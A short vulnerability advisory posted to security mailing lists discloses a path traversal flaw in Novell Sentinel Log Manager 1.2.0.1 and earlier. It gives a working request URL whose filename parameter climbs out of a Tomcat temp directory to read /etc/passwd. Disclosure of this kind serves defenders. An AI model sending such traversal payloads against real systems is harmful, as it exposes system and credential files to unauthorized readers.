Novell Sentinel Log Manager <=1.2.0.1 Path Traversal

From: Andrea Fabrizi <andrea.fabrizi@gmail.com>
To: websecurity@webappsec.org,bugtraq@securityfocus.com,webappsec@securityfocus.com,full-disclosure@lists.grok.org.uk
Cc:
Subject: Novell Sentinel Log Manager <=1.2.0.1 Path Traversal
Date:


**************************************************************
Vuln: Path Traversal
Application: Sentinel Log Manager
Vendor: Novell
Version affected: <= 1.2.0.1
Website: http://www.novell.com/products/sentinel-log-manager/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
**************************************************************

The latest version of Sentinel Log Manager is prone to a Directory
Traversal, which makes it possible, for Authenticated Users, to access
any system file.

Testing environment: Sentinel Log Manager Appliance 1.2.0.1

Vulnerable URL:
/novelllogmanager/FileDownload?filename=/opt/novell/sentinel_log_mgr/3rdparty/tomcat/temp/../../../../../../etc/passwd





Copyright © 1995-2021 LinuxRocket.net. All rights reserved.